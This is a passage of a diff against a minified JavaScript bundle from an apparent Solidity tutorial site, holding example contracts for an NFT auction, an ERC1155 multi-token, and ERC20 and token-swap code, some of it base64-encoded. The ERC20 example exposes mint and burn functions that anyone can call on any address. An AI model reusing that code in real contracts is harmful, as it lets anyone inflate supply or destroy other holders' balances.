GFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],Fj=`

      English auction for NFT.

      Auction

      1. Seller of NFT deploys this contract.
        2. @@ -986,7 +986,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit End(highestBidder, highestBid); } } -`,Fj=({prev:s,next:a})=>r.jsx(u,{version:Rj,title:Xj,description:vj,html:Hj,prev:s,next:a,codes:Nj}),Kj="0.8.24",Sj="ERC1155",Mj="Example of ERC1155 multi token in Solidity",xj=[{fileName:"ERC1155.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        view
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
"}],Jj=`

        Example of ERC1155

        +`,Kj=({prev:s,next:a})=>r.jsx(u,{version:Xj,title:vj,description:Nj,html:Fj,prev:s,next:a,codes:Hj}),Sj="0.8.24",Mj="ERC1155",xj="Example of ERC1155 multi token in Solidity",Jj=[{fileName:"ERC1155.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        view
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
"}],zj=`

        Example of ERC1155

        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1247,7 +1247,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         _batchBurn(msg.sender, ids, values);
     }
 }
-
        `,zj=({prev:s,next:a})=>r.jsx(u,{version:Kj,title:Sj,description:Mj,html:Jj,prev:s,next:a,codes:xj}),Ej="0.8.24",Uj="ERC20",Tj="Example of ERC20 token in Solidity",Qj=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYWxsb3dhbmNlW3NlbmRlcl1bbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIGJhbGFuY2VPZltzZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQyNTYgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50MjU2IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],Dj=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        +`,Ej=({prev:s,next:a})=>r.jsx(u,{version:Sj,title:Mj,description:xj,html:zj,prev:s,next:a,codes:Jj}),Dj="0.8.24",Tj="ERC20",Uj="Example of ERC20 token in Solidity",Qj=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYWxsb3dhbmNlW3NlbmRlcl1bbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIGJhbGFuY2VPZltzZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpO